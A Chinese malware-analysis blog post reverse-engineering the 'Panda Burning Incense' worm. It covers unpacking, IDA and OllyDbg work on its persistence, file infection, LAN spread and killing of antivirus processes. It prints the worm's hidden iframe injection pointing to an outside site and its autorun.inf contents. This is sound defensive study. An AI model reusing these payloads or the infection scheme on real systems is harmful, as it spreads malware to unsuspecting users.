恶意代码分析——熊猫烧香

恶意代码分析——熊猫烧香

记录对一些恶意代码的分析的过程

熊猫烧香功能函数总览:

在这里插入图片描述

标题

  • 恶意代码分析——熊猫烧香
        • 熊猫烧香功能函数总览:
    • 静态分析
      • IDA分析
        • sub_40819C
        • sub_40D18C
          • sub_40A5B0
            • sub_409348
          • sub_40C374
          • sub_40BACC
        • sub_40D088
    • 参考链接

静态分析

  1. 查壳——FSG 2.0
    在这里插入图片描述
  2. 脱壳
    1)   OllyDump找到OEP:
    在这里插入图片描述
    2)   OllyDump进行二进制Dump
    在这里插入图片描述
    在这里插入图片描述
    3)   ImportRCE进行导入表修复,并且将新的导入OD中Dump下的二进制文件中
    在这里插入图片描述
    4)   重新查壳:Delphi 编写(该在调用函数时,利用寄存器进行函数参数传递)但是导入表中却只识别出一个dll
    在这里插入图片描述
    在这里插入图片描述
    5)   按照上述的方式脱壳后,会发现在调试程序时会报错,这说明程序脱壳有问题,后来参考其他朋友的方博客才知道,原来是IAT中被插入了垃圾数据,这些数据需要被手工修改。
    6)   找到OEP,进入004049E8,再进入00404924,找到IAT首地址,再数据窗口中跟随进行检查,将其中的垃圾数据修改为00000000
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    7)   然后回到OEP利用OllyDump将程序Dump下来,然后重复第一次的脱壳操作;增却脱壳后的程序用PEID检查时会发现其导入表中的依赖库非常多。
    在这里插入图片描述

IDA分析

  1. IDA载入样本——所有的函数均未被IDA识别
    在这里插入图片描述
  2. 由于程序是Delphi编写,在IDA中加入Delphi的签名
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
  3. 再看IDA窗口,部分函数已经被正确识别:
    在这里插入图片描述
  4. 首先调用函数InitExe进行初始化,然后多次调用LStrAsg函数进行字符串复制进行初始化:
    在这里插入图片描述
    在这里插入图片描述
  5. 继续往下,发现第一个未识别的函数sub_405250,经过分析可知该函数为一个解密函数
    在这里插入图片描述
    由于无法从IDA中无法方便地分析传入的参数,在IDA中的此处下段,然后发现传入的参数为两个字符串和一个栈地址,经过此函数处理后,栈中保存了另一个同样长度的字符串。
    在这里插入图片描述
    在这里插入图片描述
  6. 对函数sub_405250重命名
    在这里插入图片描述
  7. 继续往下,在0040D60A处又调用了此解密函数和LStrCmp进行字符串比较,此处是在进行程序的校验,如果校验失败,则终止程序。
    在这里插入图片描述
  8. 继续往下,调用三个函数:sub_40819C、sub_40D18C、sub_40D088,调用此三个函数后,程序的整个逻辑就较为简单,并且几乎无其他函数调用,则说明这三个函数包含了大部分的恶意代码的核心功能。
    在这里插入图片描述
  9. 接下来对这三个函数分别分析

sub_40819C

  1. sub_40819C —— 恶意程序驻留,创建并执行bat文件和程序执行路径检测
    1)  该函数首先进行一个循环,进行132次循环,每次进行两次push 0操作,应该是进行栈空间的分配
    在这里插入图片描述
    2)  继续往下,发现一个未被识别的系统函数,用OD 进行动态分析,发现此系统函数的功能就是获取传入路径的目录,在IDA中进行重命名SyS_GetPath_Folder。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    3)  发现会拼接一个当前程序的路径和一个 Desktop.ini文件,应该是会访问或者创建此文件,结合OD获得此文件的路径
    在这里插入图片描述
    在这里插入图片描述
    4)  继续往下,发现会再次重复上一步的操作,获取一个路径然后修改其属性,然后删除此文件(此处的目的是检查Desktop.ini文件是否是刚创建的,如果不是刚创建的,则对其进行删除):
    在这里插入图片描述
    5)  继续往下,发现会调用一个函数sub_407650,该程序传入的参数是当前程序的执行路径,执行完的结构保存在var_4变量中,此处计算的结果是“MZ”,猜测他是一个程序路径的校验函数——重命名为“My_Guess_Path_Check”。
    在这里插入图片描述
    6)  程序会在004082E7处经过一个判断,判断不成功则进入一个循环,最终都会跳转到004082F3,其中sub_40521C为字符串大写转换,重命名为“My_Upper_Str“,
    在这里插入图片描述
    7)  在OD中下段查看0040834F处的函数调用为:
    在这里插入图片描述
    8)  继续往下,会进行一个字符串判断,其中判断的量子字符串分别是当前程序的绝对路径和前面拼接得到的系统路径,也就是说此程序会进行自我复制和路径检查;将自我复制到系统路径下,然后在运行时检查是否运行在系统路径下。
    在这里插入图片描述
    在这里插入图片描述
    9)  如果程序没有运行在系统路径下,那么恶意程序将会自我复制到系统路径下也就是"C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE" ,然后进行运行
    在这里插入图片描述
    10)  如果程序运行在系统路径下,最终都会执行到00408584地址处:
    在这里插入图片描述
    11)  此处调用函数sub_407B68和sub_405458,分别对两个函数进行分析:
    • sub_407B68函数功能——程序对系统环境和运行路径检测,进行bat文件执行,对其进行重命名My_Create_BatFile
      获取系统临时文件夹路径:
      在这里插入图片描述
      在这里插入图片描述
      在临时文件夹下创建批处理文件:
      在这里插入图片描述
      然后进行字符串拼接:
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在临时文件夹下找到批处理文件,然后进行查看:
      在这里插入图片描述
    • sub_405458——此函数的主要功能是遍历进程,检查是否有spolsv.exe进程在运行,对其进行重命名SyS_Check_Process_Running
      在这里插入图片描述
      在这里插入图片描述
      12)  如果恶意程序进程没有在执行,那么重新执行系统目录下的恶意程序。

sub_40D18C

  1. sub_40D18C —— 程序的恶意行为:感染受害者主机的文件sub_40D18C函数为恶意程序的主要功能模块,跟入该函数,发现调用三个函数:
    在这里插入图片描述

    sub_40A5B0

    1) 第一个函数sub_40A5B0主要功能是创建一个线程:
    在这里插入图片描述
    跟入线程的代码块,此处的代码会先获取磁盘目录
    在这里插入图片描述
    接下来的主要功能集中在函数sub_409348中
    在这里插入图片描述

    sub_409348

    跟入函数sub_409348进行分析,该函数非常复杂,应该是整个恶意程序的主要功能模块,程序首先会遍历被感染主机,然后根据文件的格式进行不同的操作:
    在这里插入图片描述
    在这里插入图片描述
    对于文件夹的话,会在指定文件夹下创建DeskTop.ini文件,并且会对文件的创建时间进行校验,如果不是此时产生的,则对文件进删除。
    在这里插入图片描述
    对于不同的文件,采用不同的操作,这些文件被分为两大类:
    1) Exe, scr,fip, com,
    2) Html, asp, php, jsp, aspx
    在这里插入图片描述
    对于第一类文件,均调用函数sub_407F00进行处理,第二类文件则调用函数sub_4079CC进行处理
    在这里插入图片描述
    在这里插入图片描述
    结合动态检测的结果,我们知道恶意程序会将所有的可执行文件都变成了同样的图标,而此处的代码正好会遍历被感染主机中的所有文件,那么此处应该就是恶意程序的核心恶意行为部分,由于不同的文件类型会调用不同的函数,我们来分别对上述的两个函数进行分析:
     
    a) 首先是sub_407F00
    该函数首先对遍历到的文件名进行校验,看看是否是恶意程序本体
    在这里插入图片描述
    然后将遍历到的文件读取到内存中
    在这里插入图片描述
    接下来检查内存中该文件的数据是否包含字符串“WhBoy”,此处用于检测程序是否已经被感染,如果已经被感染,则不进行后面的感染操作,也就是说字符串“WhBoy”是程序感染的特征之一。
    在这里插入图片描述
    用当前运行的恶意程序替换为遍历到的文件
    在这里插入图片描述
    接下来进行一个长的字符串拼接,一共6个字串拼接得到目标字符串,由于其中一个字符串是由被遍历的文件数据,一个系统函数和函数sub_405534处理得到。
    在这里插入图片描述
    用OD动态调试,查看到字符串,其中的?分别是0x1h和0x2h,字符串中见的数字应该是文件的大小;所以,该字符的组成为:
    ”WhBoy” + 程序名称 + “.exe” + 0x1h + 源文件大小 + 0x2h
    在这里插入图片描述
    继续往下,就发现了整个恶意程序的核心功能,将被遍历文件的真实数据添加到 “假的” 被遍历的文件(此时被遍历的文件已经被恶意程序替换)后面,然后将上述拼接得到的字符串也添加到后面。
    在这里插入图片描述
    功能总结:系统的中的源文件被感染后变成了: 恶意程序+源文件+感染标记字符串
     
    b) 接下来是函数sub_4079CC
    在这里插入图片描述
    函数首先将被感染文件保存在内存中,然后调用一个解密函数对两个字符串进行了计算,
    在这里插入图片描述
    并且将字符串保存在遍历var_8中,用OD调试得到的字符串如下,可以发现该字符串是一个隐藏的html窗口代码,我们猜测改代码会在html文件中插入了恶意代码,能够隐蔽地访问恶意站点。
    在这里插入图片描述
    继续往下,程序会判断原始文件中是否已经包含这个恶意的html代码,以此来检测文件是否已经被感染,也就是代码 "</iframe src=http://www.ac86.cn/66/index.htm width=”0” height=”0”></ iframe>” 是第二类文件的感染标记
    在这里插入图片描述
    继续往下,发现往文件中写入恶意html代码的部分:
    在这里插入图片描述
    在这里插入图片描述
    用OD调试得到相关的具体信息,发现恶意的html代码拼接了一个换行符 “\n” 和一个回车符 “\r”;继续单步调试,能够验证00407A90处的函数为长度计算函数,因为该函数的参数是拼接后的恶意html代码,而计算后eax中的返回值正好是0x4Ch (十进制72),正好是恶意代码的长度。
    在这里插入图片描述

    sub_40C374

    跟入第二个函数sub_40C374,该函数会设置一个定时器,定时执行TimerFunc处的代码:
    在这里插入图片描述
    进入该代码段进行分析,此处的代码会拼接两个字符串,一个是“C:\ setup.exe”,另一个是“C:\ autorun.inf”
    在这里插入图片描述
    在这里插入图片描述
    继续往下,会检查这两个文件的创建时间是否一致,如果时间不一致则将当前程序复制到“C:\ setup.exe”;如果时间一致,则会检查当前程序是否是 “C:\ setup.exe”
    在这里插入图片描述
    如果不是,则删除 “C:\ setup.exe”
    在这里插入图片描述
    接下来将源程复制到C盘根目录并重命名为“C:\ setup.exe”
    在这里插入图片描述
    进行上述的程序复制后,会再进行一次时间校验,如果满足条件则跳转到0040C10F 中,该部分应该是进行inf文件内容的检查,对比的内容是 “[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\Auto\command=setup.exe\r\n”)
    在这里插入图片描述
    如果内容不满足条件,则将原来的inf文件删除:
    在这里插入图片描述
    然后创建一个新的inf文件,并且将刚刚用于对比的内容写入到inf文件中:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    接下来再将setup.exe与autorun.inf得属性设为隐藏。
    在这里插入图片描述

    sub_40BACC

    再跟入函数sub_40BACC, 该函数的组成较为简单,主要调用了一个随机数生成函数和函数sub_403C00
    在这里插入图片描述
    跟入函数sub_403C00,发现该函数会创建一个进程:
    在这里插入图片描述
    直接跟如该进程的地址并不能发现有用的信息,其中用动态的方式调用了一个函数call edx; 用OD进行下段查看函数的地址为0040BA8C:
    在这里插入图片描述
    在这里插入图片描述
    跟入该地址0040BA8C,该地址块代码调用函数sub_40B864
    在这里插入图片描述
    跟入函数sub_40B864,发现该函数会将恶意代码在内网进行传播
    在这里插入图片描述

sub_40D088

  1. sub_40D088 —— 设置定时器进行程序执行和驻留
    接下来分析函数sub_40D0881) 该函数内部会多次调用定时器执行代码块:
    sub_40CEE4
    sub_40D040
    sub_40D048
    sub_407430
    sub_40CC4C
    sub_40C728

    在这里插入图片描述
    1) 第一个代码块sub_40CEE4的功能:
    该处的代码会先进行调用函数sub_406E2C创建进程
    在这里插入图片描述
    在这里插入图片描述
    该进程的代码地址处首先进行提权操作,然后重复相同的代码功能——即在当前的进程中搜索众多的进程:
    在这里插入图片描述
    对相关的地址数据进行查看,发现这些进程均为杀毒进程:
    在这里插入图片描述
    除了杀毒软件外,还有一些系统的任务管理进程被关闭:
    在这里插入图片描述
    也就是说,恶意程序会将这些杀毒进程和一些任务管理进程都进行关闭,防止被查杀和检测。
    接下来,将创建和修改注册表,方便恶意程序的自启动:
    在这里插入图片描述
    2) 代码块sub_40D040的分析
    同样会创建一个线程,线程的起始地址为sub_40C9B0
    在这里插入图片描述
    跟入线程的起始地址,该线程会先调用一个解密函数sub_40C4EC,然后调用函数sub_40C5E0利用QQ进行URL访问,并且从指定的站点中下载文件,最后将西在的文件和解密的文件进行对比:
    在这里插入图片描述
    sub_40C5E0利用QQ进行URL访问和下载文件
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    3) 第三个代码块sub_40D048功能分析:
    创建两个线程:
    在这里插入图片描述
    第一个线程sub_40CC34起始就是第二个代码块的线程起始地址此处进行了重复操作
    第二个线程sub_40CDEC——删除被感染主机的文件共享

    • 利用cmd执行命令:
      在这里插入图片描述
      在这里插入图片描述
    • 紧接着继续执行另一个命令:
      在这里插入图片描述

    4) 第四个代码块sub_407430分析:
    同样创建线程:
    在这里插入图片描述
    关闭系统服务,杀毒进程服务和删除某些注册表
    在这里插入图片描述

    5) 第五个代码块sub_40CC4C分析和第六个代码块sub_40C728的功能就是前面各个代码块功能的组合。

  2. 整个熊猫烧香的功能分析完成 (@_@)

  3. 总结:对熊猫烧香这个恶意程序的分析,相对比较完整,但是还有很多细节的部分没有分析透彻,主要原因还是技术有限 /(ㄒoㄒ)/~~ (留下了没有技术的泪水)。另外,在本次的分析过程中,由于相关的Delphi语言的基本函数未能被IDA识别,导致在分析的过程中非常吃力,除了需要分析作者的功能函数外,还需要分析很多Delphi语言的基本函数,而这些基本函数又是比较难分析的 /(ㄒoㄒ)/~~ (再次留下了没有技术的泪水)。

参考链接

在分析过程中参考了以下朋友们的博客:
参考链接1
参考链接2
参考链接3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/14859.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

熊猫烧香病毒分析报告

熊猫烧香 基本信息 报告名称&#xff1a;熊猫烧香病毒报告 作者&#xff1a;Pawn 文件名&#xff1a;xiongmao.exe 样本类型&#xff1a;EXE文件 样本文件大小&#xff1a;30,001 字节 样本文件的MD5校验值&#xff1a;512301c535c88255c9a252fdf70b7a03 样本文件SHA1校验值&am…

Prompt learning 教学[进阶篇]:简介Prompt框架并给出自然语言处理技术:Few-Shot Prompting、Self-Consistency等;项目实战搭建知识库内容机器人

Prompt learning 教学[进阶篇]&#xff1a;简介Prompt框架并给出自然语言处理技术&#xff1a;Few-Shot Prompting、Self-Consistency等&#xff1b;项目实战搭建知识库内容机器人 1.ChatGPT Prompt Framework 看完基础篇的各种场景介绍后&#xff0c;你应该对 Prompt 有较深…

ChatGPT如何提升数据开发效率

目录 一、ChatGPT介绍 二、ChatGPT数据应用场景 A、Pyspark代码样例生成 B、Python设计模式推荐 C、Python代码修复能力 D、异常代码的检测​编辑 E、测试数据内容生成 F、数据分析能力 G、报告生成展示 三、结语 一、ChatGPT介绍 1、GPT是什么&#xff1a;大型语言…

《花雕学AI》用Edge和chrome浏览器体验GPT-4智能聊天的神奇免费插件,Sider – 聊天机器人的新选择

你有没有想过和人工智能聊天&#xff1f;你有没有想过用浏览器就能和GPT-4这样的先进的聊天机器人对话&#xff1f;如果你有这样的想法&#xff0c;那么你一定要试试Sider这个神奇的免费插件。 Sider&#xff08;Sider – AI Sidebar&#xff09;是一款基于ChatGPT的智能侧边栏…

家人们,我用ChatGPT来做减肥指引,分享下心得

据我的了解&#xff0c;解决减肥难题可以利用AI技术提供有效的解决方案。通过对个人身体数据和运动习惯的分析&#xff0c;AI能够为每个人量身定制最适合的运动计划。此外&#xff0c;AI还能够运用智能化的语音互动和数据反馈&#xff0c;为每个人提供个性化的运动指导和鼓励&a…

Python 使用chatGPT帮忙写一个有序集类 OrderedSet

需求:需要实现一个有序的集合&#xff0c;像python普通集合一样&#xff0c;除了 它是有序的 我这边穿插着使用了gpt3.5和gpt4,发现确实还是gpt4好用&#xff0c;一分钱一分货啊 问&#xff1a;我的要求是这样&#xff0c;data是一个集合&#xff0c;往里面放了2&#xff0c;…

ChatGPT帮忙出Scrath少儿编程的教程

最近在思考&#xff0c;如何做一份关于Scrath少儿编程的教程&#xff0c;既可以满足目前对小孩的教学内容&#xff0c;也可以做一份相对完善的教程&#xff0c;于是就与ChatGPT开始了一场简单的对话&#xff0c;其中只是初步的目录&#xff0c;如大家有兴趣可以帮忙转发&#x…

闲来无事,摸鱼时让 chatgpt 帮忙,写了一个 console 样式增强库并发布 npm

前端Q 我是winty&#xff0c;专注分享前端知识和各类前端资源&#xff0c;乐于分享各种有趣的事&#xff0c;关注我&#xff0c;一起做个有趣的人&#xff5e; 公众号 点击上方 前端Q&#xff0c;关注公众号 回复加群&#xff0c;加入前端Q技术交流群 话不多说&#xff0c;直接…

三星被曝因ChatGPT泄露芯片机密!韩媒惊呼数据「原封不动」直传美国,软银已禁止员工使用...

点击上方“AI遇见机器学习”&#xff0c;选择“星标”公众号 第一时间获取价值内容 明敏 萧箫 发自 凹非寺 量子位 | 公众号 QbitAI 三星引入ChatGPT不到20天&#xff0c;就发生3起数据外泄事件&#xff1f;&#xff01; 其中2次和半导体设备有关&#xff0c;1次和内部会议有关…

ChatGPT 泄露对话记录,CEO:开源库的错误

ChatGPT 泄露对话记录&#xff0c;CEO&#xff1a;开源库的错误 ChatGPT 会在界面左侧显示你过去与 AI 进行过的对话&#xff0c;并将内容保存在系统中&#xff0c;方便你时不时回顾之前的内容。只不过最近有用户发现&#xff0c;自己的聊天历史中显示了不曾发生过的对话内容&a…

总结吴恩达 ChatGPT Prompt 免费课程

吴恩达联合 OpenAI 官方&#xff0c;发布了免费的 ChatGPT Prompt 视频教程。 链接&#xff1a;https://learn.deeplearning.ai/chatgpt-prompt-eng/lesson/2/guidelines 视频纯英文&#xff0c;小姐姐的英伦腔&#xff0c;听得很舒服。 我看了第一集&#xff0c;讲了四个技巧&…

ChatGPT的好与坏

ChatGPT是一种人工智能语言模型&#xff0c;它在各种应用中被广泛使用。它的好处是&#xff0c;它可以提供快速、精准的答案&#xff0c;解决用户的问题&#xff0c;并提供各种信息和建议。ChatGPT的工作原理是基于先前的大量数据集和模式识别&#xff0c;所以它的回答具有很高…

最流行的 WebAssembly 语言,会是 JavaScript 吗?

对于网络平台而言&#xff0c;WebAssembly 的出现无疑是意义重大的&#xff0c;它能让各种语言编写的代码以接近原生的速度在 Web 中运行——那么在各种语言中&#xff0c;JavaScript 会是其中最流行的吗&#xff1f; 原文链接&#xff1a;https://thenewstack.io/will-javascr…

【ChatGPT】ChatGPT时代 —— 软件开发的末日来临了?

在这篇文章中,我将说明像 ChatGPT 这样的生成式人工智能 (GAI) 将如何在十年内取代软件工程师。 预测被离散化为 5 个阶段,总体轨迹趋向于完全接管。 但首先,一个简短的前言。 目录 1、关于AI的预测谬误 谬误一:AI只会取代脚本小子

chatgpt赋能python:Python编写聊天程序

Python编写聊天程序 Python是一种优秀的编程语言&#xff0c;常被用来开发网络应用程序。在这个不断发展的数字时代&#xff0c;人们越来越需要在线沟通工具来实现快速交流。像即时聊天这类工具已经成为生活中必不可少的组成部分。因此&#xff0c;在这篇文章中&#xff0c;我…

高考书单丨关于理想,我从来没选择放弃

高 考 主题书单 关于考试升学技巧 也关乎对大学教育的思考 近期&#xff0c;“男子为考清华复读14年”登上微博热搜&#xff0c;该男子名叫唐尚珺。据了解&#xff0c;今年是他复读的第14年&#xff0c;此次高考也是他参加的第15次高考。2009年&#xff0c;他参加了人生中第一场…

Jeff Dean万字总结!图解谷歌2022年AIGC、LLM、CV三大领域成就

本文来源 新智元 编辑&#xff1a;编辑部 【新智元导读】2022年&#xff0c;谷歌在ML领域取得了哪些新进展&#xff1f;Jeff Dean发万字长文总结。 2022年&#xff0c;谷歌在机器学习方面有什么进展&#xff1f; Google Research高级研究员兼高级副总裁Jeff Dean一文帮你总结…

Jeff Dean万字总结出炉!图解谷歌2022年AIGC、LLM、CV三大领域成就!

点击下方卡片&#xff0c;关注“CVer”公众号 AI/CV重磅干货&#xff0c;第一时间送达 点击进入—>CV微信技术交流群 转载自&#xff1a;新智元 【导读】2022年&#xff0c;谷歌在ML领域取得了哪些新进展&#xff1f;Jeff Dean发万字长文总结。 2022年&#xff0c;谷歌在机器…

超详超硬Jeff Dean万字总结火热出炉!图解谷歌2022年AIGC、LLM、CV三大领域成就

报道 编辑&#xff1a;编辑部 【导读】2022年&#xff0c;谷歌在ML领域取得了哪些新进展&#xff1f;Jeff Dean发万字长文总结。 2022年&#xff0c;谷歌在机器学习方面有什么进展&#xff1f; Google Research高级研究员兼高级副总裁Jeff Dean一文帮你总结&#xff01; 昨天…

讯飞高管解读财报:追求高质量发展 持续促进人均效能提升

雷递网 雷建平 4月22日 科大讯飞&#xff08;002230.SZ&#xff09;日前发布2022年报及2023年一季报。财报显示&#xff0c;科大讯飞2022年营收188.2亿&#xff0c;较上年同期的183.14亿元增长2.77%&#xff1b;归母净利润为5.61亿元。 科大讯飞2023年第一季营收28.88亿&#x…